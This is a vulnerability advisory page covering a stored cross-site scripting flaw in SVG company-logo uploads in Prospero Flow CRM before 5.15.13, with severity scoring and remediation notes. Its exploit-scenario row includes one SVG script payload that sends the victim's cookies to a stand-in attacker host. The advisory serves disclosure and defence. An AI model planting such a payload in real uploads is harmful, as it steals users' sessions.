EUVD-2026-64825
GHSA-rfhp-pmfg-hj92
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network upload with low-privilege auth and required victim interaction; scope changes as XSS executes in victim browser, with low confidentiality (session data) and integrity impact.
Primary rating from Vendor (4daa8cea-433a-44bd-9456-53b127fc289a).
CVSS VectorVendor: 4daa8cea-433a-44bd-9456-53b127fc289a
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
3DescriptionCVE.org
Unrestricted Upload of File with Dangerous Type in the company logo upload in Roskus Prospero Flow CRM before 5.15.13 allows an authenticated user holding the create company and update company permissions to execute arbitrary JavaScript in the application origin via an SVG document containing an embedded script element.
AnalysisAI
Stored XSS via SVG logo upload in Roskus Prospero Flow CRM before 5.15.13 permits authenticated users with company management permissions to plant malicious scripts in the application origin. Uploading an SVG document containing embedded script elements or JavaScript event handlers as a company logo causes those scripts to execute in any victim's browser session when the company profile is viewed. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | The attacker must be authenticated and hold at minimum the 'create company' permission (for new company creation) or both the 'update company' permission AND ownership of the target company (company_id match enforced in the pre-patch controller and post-patch FormRequest authorize() method). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 score of 4.8 (Medium) accurately reflects the constrained scope. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An authenticated CRM user with 'update company' permission for their own company crafts an SVG file containing `<script>document.location='https://attacker.example/steal?c='+document.cookie</script>` and uploads it as the company logo via the standard company settings page. The file is stored server-side without content inspection. … |
| Remediation | Upgrade to Roskus Prospero Flow CRM version 5.15.13 or later, where the fix enforces MIME type allowlisting (jpeg, jpg, png, webp, svg) with a 2 MB size cap and a custom ValidateSafeSvg validator that blocks SVG content containing script tags, event handler attributes, javascript: URIs, and embedded content tags. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
Same technique File Upload
View allShare
External POC / Exploit Code
Leaving vuln.today